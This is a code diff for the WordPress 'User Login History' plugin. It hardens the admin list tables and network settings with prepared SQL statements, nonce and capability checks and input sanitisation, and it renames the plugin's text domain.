-			'bulk-delete-all-admin' => esc_html__( 'Delete All Records', 'faulh' ),
+			'bulk-delete'           => esc_html__( 'Delete Selected Records', 'user-login-history' ),
+			'bulk-delete-all-admin' => esc_html__( 'Delete All Records', 'user-login-history' ),
 		);

 		return $actions;
@@ -193,21 +205,21 @@
 	public function get_columns() {
 		return array(
 			'cb'               => '<input type="checkbox" />',
-			'user_id'          => esc_html__( 'User ID', 'faulh' ),
-			'username'         => esc_html__( 'Username', 'faulh' ),
-			'role'             => esc_html__( 'Role', 'faulh' ),
-			'old_role'         => esc_html__( 'Old Role', 'faulh' ),
-			'browser'          => esc_html__( 'Browser', 'faulh' ),
-			'operating_system' => esc_html__( 'Operating System', 'faulh' ),
-			'ip_address'       => esc_html__( 'IP Address', 'faulh' ),
-			'timezone'         => esc_html__( 'Timezone', 'faulh' ),
-			'country_name'     => esc_html__( 'Country', 'faulh' ),
-			'user_agent'       => esc_html__( 'User Agent', 'faulh' ),
-			'duration'         => esc_html__( 'Duration', 'faulh' ),
-			'time_last_seen'   => esc_html__( 'Last Seen', 'faulh' ),
-			'time_login'       => esc_html__( 'Login', 'faulh' ),
-			'time_logout'      => esc_html__( 'Logout', 'faulh' ),
-			'login_status'     => esc_html__( 'Login Status', 'faulh' ),
+			'user_id'          => esc_html__( 'User ID', 'user-login-history' ),
+			'username'         => esc_html__( 'Username', 'user-login-history' ),
+			'role'             => esc_html__( 'Role', 'user-login-history' ),
+			'old_role'         => esc_html__( 'Old Role', 'user-login-history' ),
+			'browser'          => esc_html__( 'Browser', 'user-login-history' ),
+			'operating_system' => esc_html__( 'Operating System', 'user-login-history' ),
+			'ip_address'       => esc_html__( 'IP Address', 'user-login-history' ),
+			'timezone'         => esc_html__( 'Timezone', 'user-login-history' ),
+			'country_name'     => esc_html__( 'Country', 'user-login-history' ),
+			'user_agent'       => esc_html__( 'User Agent', 'user-login-history' ),
+			'duration'         => esc_html__( 'Duration', 'user-login-history' ),
+			'time_last_seen'   => esc_html__( 'Last Seen', 'user-login-history' ),
+			'time_login'       => esc_html__( 'Login', 'user-login-history' ),
+			'time_logout'      => esc_html__( 'Logout', 'user-login-history' ),
+			'login_status'     => esc_html__( 'Login Status', 'user-login-history' ),
 		);
 	}

@@ -230,7 +242,6 @@
 			'login_status'     => array( 'login_status', false ),
 			'duration'         => array( 'duration', false ),
 		);
-
 	}

 	/**
@@ -257,7 +268,7 @@

 		$human_time_diff = human_time_diff( $time_last_seen_unix );
 		$is_online_str   = $this->get_online_status( $time_last_seen_unix, $item['login_status'] );
-		return "<div class='is_status_$is_online_str' title = '$time_last_seen'>" . $human_time_diff . ' ' . esc_html__( 'ago', 'faulh' ) . '</div>';
+		return "<div class='is_status_$is_online_str' title = '$time_last_seen'>" . $human_time_diff . ' ' . esc_html__( 'ago', 'user-login-history' ) . '</div>';
 	}

 	/**
@@ -302,7 +313,7 @@
 	public function column_default( $item, $column_name ) {
 		$timezone = $this->get_timezone();

-		$new_column_data = apply_filters( 'manage_faulh_admin_custom_column', '', $item, $column_name );
+		$new_column_data = apply_filters( 'faulh_manage_admin_custom_column', '', $item, $column_name );
 		if ( $new_column_data ) {
 			return $new_column_data;
 		}
@@ -375,7 +386,7 @@
 				return $time_login ? $time_login : $this->get_unknown_symbol();

 			case 'time_logout':
-				if ( $this->is_empty( $item['user_id'] ) || ! ( strtotime( (string)$item[ $column_name ] ) > 0 ) ) {
+				if ( $this->is_empty( $item['user_id'] ) || ! ( strtotime( (string) $item[ $column_name ] ) > 0 ) ) {
 					return $this->get_unknown_symbol();
 				}
 				$time_logout = Date_Time_Helper::convert_format( Date_Time_Helper::convert_timezone( $item[ $column_name ], '', $timezone ) );
@@ -392,7 +403,7 @@
 					return $this->get_unknown_symbol();
 				}

-				return human_time_diff( $time_last_seen_unix ) . ' ' . esc_html__( 'ago', 'faulh' ) . " ($time_last_seen)";
+				return human_time_diff( $time_last_seen_unix ) . ' ' . esc_html__( 'ago', 'user-login-history' ) . " ($time_last_seen)";

 			case 'user_agent':
 				return $this->is_empty( $item[ $column_name ] ) ? $this->get_unknown_symbol() : esc_html( $item[ $column_name ] );
@@ -419,8 +430,7 @@
 				return $super_admin_statuses[ $item[ $column_name ] ? 'yes' : 'no' ];

 			default:
-				return print_r( $item, true );
+				return __( 'not supported', 'user-login-history' );
 		}
 	}
-
 }
--- a/user-login-history/inc/admin/class-network-admin-login-list-table.php
+++ b/user-login-history/inc/admin/class-network-admin-login-list-table.php
@@ -11,15 +11,15 @@

 namespace User_Login_HistoryIncAdmin;

-use User_Login_History as NS;
 use User_Login_HistoryIncCommonHelpersDb as Db_Helper;
-use User_Login_HistoryIncCommonHelpersDate_Time as Date_Time_Helper;
 use User_Login_HistoryIncCommonHelpersTool as Tool_Helper;
-use User_Login_HistoryIncAdminUser_Profile;
-use User_Login_HistoryIncCommonAbstractsList_Table as List_Table_Abstract;
 use User_Login_HistoryIncCommonInterfacesAdmin_Csv as Admin_Csv_Interface;
 use User_Login_HistoryIncCommonInterfacesAdmin_List_Table as Admin_List_Table_Interface;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * The login listing table for network admin.
  */
@@ -40,6 +40,34 @@
 	private $count_sql = '';

 	/**
+	 * Holds the where clause values.
+	 *
+	 * @var array
+	 */
+	private array $where_query_values = array();
+
+	/**
+	 * Holds the row query values.
+	 *
+	 * @var array
+	 */
+	private array $rows_query_values = array();
+
+	/**
+	 * Holds the count query values.
+	 *
+	 * @var array
+	 */
+	private array $count_query_values = array();
+
+	/**
+	 * Holds the where clause.
+	 *
+	 * @var string
+	 */
+	private string $where_query = '';
+
+	/**
 	 * Initialize.
 	 */
 	public function init() {
@@ -51,23 +79,16 @@
 	 * Prepares the where clause.
 	 */
 	public function prepare_where_query() {
-
-		$where_query = parent::prepare_where_query();
-
-		if ( ! empty( $_GET['is_super_admin'] ) && in_array( $_GET['is_super_admin'], array( 'yes', 'no' ) ) ) {
-			$where_query .= " AND `FaUserLogin`.`is_super_admin` = '" . absint( 'yes' == $_GET['is_super_admin'] ) . "'";
+		$where                    = parent::prepare_where_query();
+		$this->where_query        = $where['where_query'] ?? '';
+		$this->where_query_values = $where['where_query_values'] ?? array();
+
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- no need of nonce to fetch the data.
+		$the_get = $_GET;
+		if ( ! empty( $the_get['is_super_admin'] ) && in_array( $the_get['is_super_admin'], array( 'yes', 'no' ), true ) ) {
+			$this->where_query         .= ' AND `FaUserLogin`.`is_super_admin` = %d';
+			$this->where_query_values[] = absint( 'yes' == $the_get['is_super_admin'] );
 		}
-
-		return $where_query;
-	}
-
-	/**
-	 * Get array of blog ids to be used in where sql query.
-	 *
-	 * @return array
-	 */
-	private function get_blog_ids_for_where_clause() {
-		return ! empty( $_GET['blog_id'] ) && $_GET['blog_id'] > 0 ? array( $_GET['blog_id'] ) : Db_Helper::get_blog_ids_by_site_id();
 	}

 	/**
@@ -76,19 +97,41 @@
 	 * @global type $wpdb
 	 */
 	private function prepare_sql_queries() {
+		$this->prepare_where_query();
+		$rows_query_values  = array();
+		$count_query_values = array();
 		global $wpdb;
-		$where_query = $this->prepare_where_query();

-		$i        = 0;
-		$blog_ids = $this->get_blog_ids_for_where_clause();
+		$i = 0;
+
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- no need of nonce to fetch the data.
+		$the_get = $_GET;
+
+		if ( empty( $the_get['blog_id'] ) ) {
+			$blog_ids = get_sites( array( 'fields' => 'ids' ) );
+		} else {
+
+			if ( ! is_numeric( $the_get['blog_id'] ) ) {
+				return;
+			}
+
+			if ( $the_get['blog_id'] <= 0 ) {
+				return;
+			}
+
+			$blog_id_to_filter = absint( $the_get['blog_id'] );
+
+			if ( ! get_site( $blog_id_to_filter ) ) {
+				return;
+			}
+
+			$blog_ids = array( $blog_id_to_filter );
+		}
+
 		foreach ( $blog_ids as $blog_id ) {
 			$blog_prefix = $wpdb->get_blog_prefix( $blog_id );
 			$table       = $blog_prefix . $this->table;

-			if ( ! $this->is_plugin_active_for_network && ! Db_Helper::is_table_exist( $table ) ) {
-				continue;
-			}
-
 			if ( 0 < $i ) {
 				$this->rows_sql  .= ' UNION ALL';
 				$this->count_sql .= ' UNION ALL';
@@ -113,26 +156,34 @@
 					. ' FaUserLogin.login_status,'
 					. ' FaUserLogin.is_super_admin,'
 					. ' TIMESTAMPDIFF(SECOND,FaUserLogin.time_login,FaUserLogin.time_last_seen) as duration,'
-					. " $blog_id as blog_id"
-					. " FROM $table  AS FaUserLogin"
+					. ' %d as blog_id'
+					. ' FROM %i  AS FaUserLogin'
 					. ' WHERE 1 ';

+			$rows_query_values[] = absint( $blog_id );
+			$rows_query_values[] = $table;
+
 			$this->count_sql .= ' SELECT'
 					. ' COUNT(FaUserLogin.id) AS count'
-					. " FROM $table  AS FaUserLogin"
+					. ' FROM %i  AS FaUserLogin'
 					. ' WHERE 1 ';

-			if ( $where_query ) {
-				$this->rows_sql  .= $where_query;
-				$this->count_sql .= $where_query;
+			$count_query_values[] = $table;
+
+			if ( $this->where_query ) {
+				$this->rows_sql    .= $this->where_query;
+				$this->count_sql   .= $this->where_query;
+				$rows_query_values  = array_merge( $rows_query_values, $this->where_query_values );
+				$count_query_values = array_merge( $count_query_values, $this->where_query_values );
 			}

-			$i++;
+			++$i;
 		}

-		$this->rows_sql  = "SELECT * FROM ({$this->rows_sql}) AS FaUserLoginAllRows";
-		$this->count_sql = "SELECT SUM(count) as total FROM ({$this->count_sql}) AS FaUserLoginCount";
-
+		$this->rows_query_values  = $rows_query_values;
+		$this->count_query_values = $count_query_values;
+		$this->rows_sql           = "SELECT * FROM ({$this->rows_sql}) AS FaUserLoginAllRows";
+		$this->count_sql          = "SELECT SUM(count) as total FROM ({$this->count_sql}) AS FaUserLoginCount";
 	}

 	/**
@@ -142,11 +193,11 @@
 		$columns = array_merge(
 			parent::get_columns(),
 			array(
-				'is_super_admin' => esc_html__( 'Super Admin', 'faulh' ),
+				'is_super_admin' => esc_html__( 'Super Admin', 'user-login-history' ),
 			)
 		);
-		$columns = Tool_Helper::array_insert_after( $columns, 'user_id', array( 'blog_id' => esc_html__( 'Blog ID', 'faulh' ) ) );
-		return apply_filters( $this->plugin_name . '_network_admin_login_list_get_columns', $columns );
+		$columns = Tool_Helper::array_insert_after( $columns, 'user_id', array( 'blog_id' => esc_html__( 'Blog ID', 'user-login-history' ) ) );
+		return apply_filters( 'faulh_network_admin_login_list_get_columns', $columns );
 	}

 	/**
@@ -161,7 +212,7 @@
 			)
 		);

-		return apply_filters( $this->plugin_name . '_network_admin_login_list_get_sortable_columns', $columns );
+		return apply_filters( 'faulh_network_admin_login_list_get_sortable_columns', $columns );
 	}

 	/**
@@ -187,22 +238,29 @@
 	 * @return mixed
 	 */
 	public function get_rows( $per_page = 20, $page_number = 1 ) {
-		if ( ! empty( $_REQUEST['orderby'] ) ) {
-			$direction            = ! empty( $_REQUEST['order'] ) ? $_REQUEST['order'] : ' ASC';
-			$sanitize_sql_orderby = sanitize_sql_orderby( $_REQUEST['orderby'] . ' ' . $direction );
-			if ( $sanitize_sql_orderby ) {
-				$this->rows_sql .= ' ORDER BY ' . $sanitize_sql_orderby;
-			}
-		} else {
-			$this->rows_sql .= ' ORDER BY time_login DESC';
+		// phpcs:ignore	WordPress.Security.NonceVerification.Recommended -- no need of nonce to fetch the data.
+		$the_request          = $_REQUEST;
+		$sanitize_sql_orderby = sanitize_sql_orderby( 'time_login DESC' );
+		$rows_sql             = $this->rows_sql;
+
+		if ( ! empty( $the_request['orderby'] ) ) {
+			$direction            = ! empty( $the_request['order'] ) ? strtoupper( $the_request['order'] ) : 'ASC';
+			$direction            = in_array( $direction, array( 'ASC', 'DESC' ), true ) ? $direction : 'ASC';
+			$sanitize_sql_orderby = sanitize_sql_orderby( $the_request['orderby'] . ' ' . $direction );
+		}
+
+		if ( $sanitize_sql_orderby ) {
+			$rows_sql .= ' ORDER BY ' . $sanitize_sql_orderby;
 		}

 		if ( $per_page > 0 ) {
-			$this->rows_sql .= " LIMIT $per_page";
-			$this->rows_sql .= ' OFFSET   ' . ( $page_number - 1 ) * $per_page;
+			$rows_sql .= ' LIMIT ' . absint( $per_page );
+			$rows_sql .= ' OFFSET ' . absint( ( $page_number - 1 ) * $per_page );
 		}

-		return Db_Helper::get_results( $this->rows_sql );
+		global $wpdb;
+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- already scaped.
+		return $wpdb->get_results( $wpdb->prepare( $rows_sql, $this->rows_query_values ), ARRAY_A );
 	}

 	/**
@@ -211,7 +269,9 @@
 	 * @return null|string
 	 */
 	public function record_count() {
-		return Db_Helper::get_var( $this->count_sql );
+		global $wpdb;
+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- already scaped.
+		return $wpdb->get_var( $wpdb->prepare( $this->count_sql, $this->count_query_values ) );
 	}

 	/**
@@ -237,79 +297,96 @@

 		$delete_nonce = wp_create_nonce( $this->delete_action_nonce );
 		$actions      = array(
-			'delete' => sprintf( '<a href="?page=%s&action=%s&blog_id=%s&record_id=%s&_wpnonce=%s">%s</a>', esc_attr( $_REQUEST['page'] ), $this->delete_action, absint( $item['blog_id'] ), absint( $item['id'] ), $delete_nonce, esc_html__( 'Delete', 'faulh' ) ),
+			'delete' => sprintf(
+				'<a href="?page=%s&action=%s&blog_id=%s&record_id=%s&_wpnonce=%s">%s</a>',
+				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce is not required here to generate delete button.
+				esc_attr( sanitize_text_field( wp_unslash( $_REQUEST['page'] ?? '' ) ) ),
+				$this->delete_action,
+				absint( $item['blog_id'] ),
+				absint( $item['id'] ),
+				$delete_nonce,
+				esc_html__( 'Delete', 'user-login-history' )
+			),
 		);

 		return $title . $this->row_actions( $actions );
 	}

 	/**
-	 * Validate the request for bulk action
+	 * Process the bulk action
 	 */
-	private function is_valid_request_to_process_bulk_action() {
-		$nonce = '_wpnonce';
-		return isset( $_POST[ $this->get_bulk_action_form() ] ) && ! empty( $_POST[ $nonce ] ) && wp_verify_nonce( $_POST[ $nonce ], $this->get_bulk_action_nonce() ) && current_user_can( 'administrator' );
-	}
+	public function process_bulk_action() {

-	/**
-	 * Validate the request for single action
-	 */
-	private function is_valid_request_to_process_single_action() {
 		$nonce = '_wpnonce';
-		return ! empty( $_GET['record_id'] ) && $_GET['record_id'] > 0 && ! empty( $_GET['blog_id'] ) && $_GET['blog_id'] > 0 && ! empty( $_GET[ $nonce ] ) && wp_verify_nonce( $_GET[ $nonce ], $this->get_delete_action_nonce() ) && current_user_can( 'administrator' );
-	}

-	/**
-	 * Process the bulk action
-	 */
-	public function process_bulk_action() {
-		if ( ! $this->is_valid_request_to_process_bulk_action() ) {
+		if ( ! isset( $_POST[ $this->get_bulk_action_form() ] ) ) {
+			return;
+		}
+
+		if ( empty( $_POST[ $nonce ] ) ) {
+			return;
+		}
+
+		if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ $nonce ] ) ), $this->get_bulk_action_nonce() ) ) {
+			return;
+		}
+
+		if ( ! current_user_can( 'manage_network_users' ) ) {
 			return;
 		}

-		$message = esc_html__( 'Please try again.', 'faulh' );
+		$message = esc_html__( 'Please try again.', 'user-login-history' );
 		$status  = false;
 		switch ( $this->current_action() ) {
 			case 'bulk-delete':
 				if ( ! empty( $_POST['bulk-delete-ids'] ) ) {
-					$ids = $_POST['bulk-delete-ids'];
+					// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- sanitized with absint.
+					$ids = wp_unslash( $_POST['bulk-delete-ids'] );

 					foreach ( $ids as $blog_id => $record_ids ) {
+						$record_ids = array_map( 'absint', $record_ids );
+						$blog_id    = absint( $blog_id );
 						switch_to_blog( $blog_id );
 						$status = Db_Helper::delete_rows_by_table_and_ids( $this->table, $record_ids );
 						restore_current_blog();
 					}

 					if ( $status ) {
-						$message = esc_html__( 'Selected record(s) deleted.', 'faulh' );
+						$message = esc_html__( 'Selected record(s) deleted.', 'user-login-history' );
 					}
 				}

 				break;
 			case 'bulk-delete-all-admin':
-				Db_Helper::query( 'START TRANSACTION' );
-				$blog_ids = Db_Helper::get_blog_ids_by_site_id();
-				foreach ( $blog_ids as $blog_id ) {
-					switch_to_blog( $blog_id );
-					$status = Db_Helper::truncate_table( $this->table );
-					restore_current_blog();
-					if ( ! $status ) {
-						break;
+				global $wpdb;
+				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Transaction control statement.
+				$wpdb->query( 'START TRANSACTION' );
+				$blog_ids = get_sites( array( 'fields' => 'ids' ) );
+				if ( is_array( $blog_ids ) && ! empty( $blog_ids ) ) {
+					foreach ( $blog_ids as $blog_id ) {
+						switch_to_blog( $blog_id );
+						$status = $wpdb->query( $wpdb->prepare( 'TRUNCATE TABLE %i', $wpdb->prefix . $this->table ) );
+						restore_current_blog();
+						if ( ! $status ) {
+							break;
+						}
 					}
 				}

 				if ( $status ) {
-					$message = esc_html__( 'All records deleted.', 'faulh' );
-					Db_Helper::query( 'COMMIT' );
+					$message = esc_html__( 'All records deleted.', 'user-login-history' );
+				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Transaction control statement.
+					$wpdb->query( 'COMMIT' );
 				} else {
-					Db_Helper::query( 'ROLLBACK' );
+				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Transaction control statement.
+					$wpdb->query( 'ROLLBACK' );
 				}

 				break;
 		}

 		$this->admin_notice->add_notice( $message, $status ? 'success' : 'error' );
-		wp_safe_redirect( esc_url( 'admin.php?page=' . $_GET['page'] ) );
+		wp_safe_redirect( esc_url( 'admin.php?page=' . sanitize_text_field( wp_unslash( $_GET['page'] ?? '' ) ) ) );
 		exit;
 	}

@@ -317,18 +394,43 @@
 	 * Process the single action
 	 */
 	public function process_single_action() {
-		if ( ! $this->is_valid_request_to_process_single_action() ) {
+
+		if ( ! wp_verify_nonce( sanitize_file_name( wp_unslash( $_GET['_wpnonce'] ?? '' ) ), $this->get_delete_action_nonce() ) ) {
+			return;
+		}
+
+		$the_get = $_GET;
+
+		if ( empty( $the_get['record_id'] ) || empty( $the_get['blog_id'] ) ) {
 			return;
 		}

-		$id      = absint( $_GET['record_id'] );
-		$blog_id = absint( $_GET['blog_id'] );
+		if ( ! is_numeric( $the_get['record_id'] ) || $the_get['record_id'] <= 0 ) {
+			return;
+		}

-		if ( ! Db_Helper::is_blog_exist( $blog_id ) ) {
+		if ( ! is_numeric( $the_get['blog_id'] ) || $the_get['blog_id'] <= 0 ) {
 			return;
 		}

-		$message = esc_html__( 'Please try again.', 'faulh' );
+		if ( ! current_user_can( 'manage_network_users' ) ) {
+			return;
+		}
+
+		$id      = absint( $_GET['record_id'] ?? 0 );
+		$blog_id = absint( $_GET['blog_id'] ?? 0 );
+
+		$blog_ids = get_sites(
+			array(
+				'site__in' => array( $blog_id ),
+			)
+		);
+
+		if ( empty( $blog_ids ) ) {
+			return;
+		}
+
+		$message = esc_html__( 'Please try again.', 'user-login-history' );
 		$status  = false;

 		switch ( $this->current_action() ) {
@@ -337,15 +439,14 @@
 				$status = Db_Helper::delete_rows_by_table_and_ids( $this->table, array( $id ) );
 				restore_current_blog();
 				if ( $status ) {
-					$message = esc_html__( 'Selected record deleted.', 'faulh' );
+					$message = esc_html__( 'Selected record deleted.', 'user-login-history' );
 				}

 				break;
 		}

 		$this->admin_notice->add_notice( $message, $status ? 'success' : 'error' );
-		wp_safe_redirect( esc_url( 'admin.php?page=' . $_GET['page'] ) );
+		wp_safe_redirect( esc_url( 'admin.php?page=' . sanitize_text_field( wp_unslash( $_GET['page'] ?? '' ) ) ) );
 		exit;
 	}
-
 }
--- a/user-login-history/inc/admin/class-network-admin-settings.php
+++ b/user-login-history/inc/admin/class-network-admin-settings.php
@@ -11,8 +11,9 @@

 namespace User_Login_HistoryIncAdmin;

-use User_Login_History as NS;
-use User_Login_HistoryIncCommonHelpersTemplate as Template_Helper;
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Network admnin settings.
@@ -78,38 +79,6 @@
 	}

 	/**
-	 * Validate form submission.
-	 *
-	 * @return bool
-	 */
-	private function is_form_submitted() {
-		return isset( $_POST[ $this->get_form_name() ] ) && ! empty( $_POST[ $this->get_form_nonce_name() ] ) && wp_verify_nonce( $_POST[ $this->get_form_nonce_name() ], $this->get_form_nonce_name() ) && current_user_can( 'administrator' );
-	}
-
-	/**
-	 * Update the settings.
-	 */
-	private function update_settings() {
-
-		$settings = array();
-
-		if ( isset( $_POST['block_user'] ) ) {
-			$settings['block_user'] = 1;
-		}
-		if ( isset( $_POST['block_user_message'] ) ) {
-			$settings['block_user_message'] = sanitize_textarea_field( $_POST['block_user_message'] );
-		}
-
-		if ( ! empty( $settings ) ) {
-			update_site_option( $this->settings_name, $settings );
-		} else {
-			delete_site_option( $this->settings_name );
-		}
-
-		return true;
-	}
-
-	/**
 	 * Get the form name.
 	 *
 	 * @return string
@@ -133,10 +102,10 @@
 	public function admin_menu() {
 		add_submenu_page(
 			'settings.php',
-			esc_html(NSPLUGIN_NAME),
-			esc_html(NSPLUGIN_NAME),
+			esc_html( FAULH_PLUGIN_NAME ),
+			esc_html( FAULH_PLUGIN_NAME ),
 			'administrator',
-			sanitize_key($this->plugin_name . '-setting'),
+			sanitize_key( $this->plugin_name . '-setting' ),
 			array( $this, 'screen' )
 		);
 	}
@@ -152,20 +121,46 @@
 	 * Check nonce and form submission and then update the settings.
 	 */
 	public function update() {
-		if ( ! $this->is_form_submitted() ) {
-			return;
+
+		if ( ! isset( $_POST[ $this->get_form_name() ] ) ) {
+			return false;
+		}
+
+		if ( empty( $_POST[ $this->get_form_nonce_name() ] ) ) {
+			return false;
+		}
+
+		if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ $this->get_form_nonce_name() ] ) ), $this->get_form_nonce_name() ) ) {
+			return false;
+		}
+
+		if ( ! current_user_can( 'manage_network_options' ) ) {
+			return false;
+		}
+
+		$settings = array();
+
+		if ( isset( $_POST['block_user'] ) ) {
+			$settings['block_user'] = 1;
+		}
+		if ( isset( $_POST['block_user_message'] ) ) {
+			$settings['block_user_message'] = sanitize_textarea_field( wp_unslash( $_POST['block_user_message'] ) );
 		}

-		if ( $this->update_settings() ) {
-			$message = esc_html__( 'Settings updated successfully.', 'faulh' );
-			$status  = true;
+		if ( ! empty( $settings ) ) {
+			$status = update_site_option( $this->settings_name, $settings );
 		} else {
-			$message = esc_html__( 'Please try again.', 'faulh' );
-			$status  = false;
+			$status = delete_site_option( $this->settings_name );
+		}
+
+		if ( $status ) {
+			$message = esc_html__( 'Settings updated successfully.', 'user-login-history' );
+		} else {
+			$message = esc_html__( 'Please try again.', 'user-login-history' );
 		}

 		$this->admin_notice->add_notice( $message, $status ? 'success' : 'error' );
-		wp_safe_redirect( esc_url( network_admin_url( 'settings.php?page=' . $_GET['page'] ) ) );
+		wp_safe_redirect( esc_url( network_admin_url( 'settings.php?page=' . sanitize_text_field( wp_unslash( $_GET['page'] ?? '' ) ) ) ) );
 		exit;
 	}

@@ -208,5 +203,4 @@
 	public function get_block_user_message() {
 		return $this->get_settings( 'block_user_message' );
 	}
-
 }
--- a/user-login-history/inc/admin/class-network-blog-manager.php
+++ b/user-login-history/inc/admin/class-network-blog-manager.php
@@ -12,28 +12,29 @@

 namespace User_Login_HistoryIncAdmin;

-use User_Login_History as NS;
 use User_Login_HistoryIncCoreActivator;
-use User_Login_HistoryIncCommonHelpersDb as Db_Helper;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Network Blog Management Functionality.
  */
-class Network_Blog_Manager
-{
+class Network_Blog_Manager {
+

 	/**
 	 * Create table whenever a new blog is created.
 	 * Hooked with wp_insert_site action.
-	 *
+	 *
 	 * @param Wp_Site $new_site.
 	 */
-	public function on_create_blog(Wp_Site $new_site)
-	{
+	public function on_create_blog( Wp_Site $new_site ) {
 		$blog_id = $new_site->blog_id;

-		if (is_plugin_active_for_network(NSPLUGIN_BOOTSTRAP_FILE_PATH_FROM_PLUGIN_FOLDER)) {
-			switch_to_blog($blog_id);
+		if ( is_plugin_active_for_network( FAULH_PLUGIN_BASENAME ) ) {
+			switch_to_blog( $blog_id );
 			Activator::create_table();
 			Activator::update_options();
 			restore_current_blog();
@@ -46,11 +47,12 @@
 	 *
 	 * @param Wp_Site $old_site.
 	 */
-	public function deleted_blog(Wp_Site $old_site)
-	{
+	public function deleted_blog( Wp_Site $old_site ) {
 		$blog_id = $old_site->blog_id;
-		switch_to_blog($blog_id);
-		Db_Helper::drop_table(NSPLUGIN_TABLE_FA_USER_LOGINS);
+		switch_to_blog( $blog_id );
+		global $wpdb;
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange	-- Intentional table drop on plugin uninstall, no WP native alternative.
+		$wpdb->query( $wpdb->prepare( 'DROP TABLE IF EXISTS %i', $wpdb->prefix . 'fa_user_logins' ) );
 		restore_current_blog();
 	}
 }
--- a/user-login-history/inc/admin/class-settings-api.php
+++ b/user-login-history/inc/admin/class-settings-api.php
@@ -12,7 +12,9 @@
  * @link https://tareq.co Tareq Hasan
  * @example example/oop-example.php How to use the class
  */
-
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 class Settings_Api {

 	/**
@@ -108,8 +110,8 @@

 			if ( isset( $section['desc'] ) && ! empty( $section['desc'] ) ) {
 				$section['desc'] = '<div class="inside">' . $section['desc'] . '</div>';
-				$callback        = function () use ($section) {
-					echo esc_html(str_replace('"', '"', $section['desc']));
+				$callback        = function () use ( $section ) {
+					echo esc_html( str_replace( '"', '"', $section['desc'] ) );
 				};
 			} elseif ( isset( $section['callback'] ) ) {
 				$callback = $section['callback'];
@@ -184,30 +186,33 @@
 		$type        = isset( $args['type'] ) ? $args['type'] : 'text';
 		$placeholder = empty( $args['placeholder'] ) ? '' : ' placeholder="' . $args['placeholder'] . '"';

-		$html  = sprintf( '<input type="%1$s" class="%2$s-text" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s/>', esc_attr($type), esc_attr($size), esc_attr($args['section']), esc_attr($args['id']), esc_attr($value), esc_attr($placeholder) );
+		$html  = sprintf( '<input type="%1$s" class="%2$s-text" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s/>', esc_attr( $type ), esc_attr( $size ), esc_attr( $args['section'] ), esc_attr( $args['id'] ), esc_attr( $value ), esc_attr( $placeholder ) );
 		$html .= $this->get_field_description( $args );
-		echo wp_kses($html, [
-			'input' => [
-				'type' => true,
-				'class' => true,
-				'id' => true,
-				'name' => true,
-				'value' => true,
-				'placeholder' => true
-			],
-			'p' => ['class' => true],
-			'span' => ['class' => true],
-			'br' => [],
-			'a' => [
-				'href' => true,
-				'title' => true,
-				'target' => true,
-				'rel' => true
-			],
-			'strong' => [],
-			'em' => [],
-			'code' => []
-		]);
+		echo wp_kses(
+			$html,
+			array(
+				'input'  => array(
+					'type'        => true,
+					'class'       => true,
+					'id'          => true,
+					'name'        => true,
+					'value'       => true,
+					'placeholder' => true,
+				),
+				'p'      => array( 'class' => true ),
+				'span'   => array( 'class' => true ),
+				'br'     => array(),
+				'a'      => array(
+					'href'   => true,
+					'title'  => true,
+					'target' => true,
+					'rel'    => true,
+				),
+				'strong' => array(),
+				'em'     => array(),
+				'code'   => array(),
+			)
+		);
 	}

 	/**
@@ -233,26 +238,29 @@
 		$max         = empty( $args['max'] ) ? '' : ' max="' . $args['max'] . '"';
 		$step        = empty( $args['max'] ) ? '' : ' step="' . $args['step'] . '"';

-		$html  = sprintf( '<input type="%1$s" class="%2$s-number" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s%7$s%8$s%9$s/>', esc_attr($type), esc_attr($size), esc_attr($args['section']), esc_attr($args['id']), esc_attr($value), esc_attr($placeholder), esc_attr($min), esc_attr($max), esc_attr($step) );
+		$html  = sprintf( '<input type="%1$s" class="%2$s-number" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s%7$s%8$s%9$s/>', esc_attr( $type ), esc_attr( $size ), esc_attr( $args['section'] ), esc_attr( $args['id'] ), esc_attr( $value ), esc_attr( $placeholder ), esc_attr( $min ), esc_attr( $max ), esc_attr( $step ) );
 		$html .= $this->get_field_description( $args );
-		echo wp_kses($html, [
-			'input' => [
-				'type' => true,
-				'class' => true,
-				'id' => true,
-				'name' => true,
-				'value' => true,
-				'placeholder' => true,
-				'min' => true,
-				'max' => true,
-				'step' => true
-			],
-			'p' => ['class' => true],
-			'span' => ['class' => true],
-			'br' => [],
-			'em' => [],
-			'strong' => []
-		]);
+		echo wp_kses(
+			$html,
+			array(
+				'input'  => array(
+					'type'        => true,
+					'class'       => true,
+					'id'          => true,
+					'name'        => true,
+					'value'       => true,
+					'placeholder' => true,
+					'min'         => true,
+					'max'         => true,
+					'step'        => true,
+				),
+				'p'      => array( 'class' => true ),
+				'span'   => array( 'class' => true ),
+				'br'     => array(),
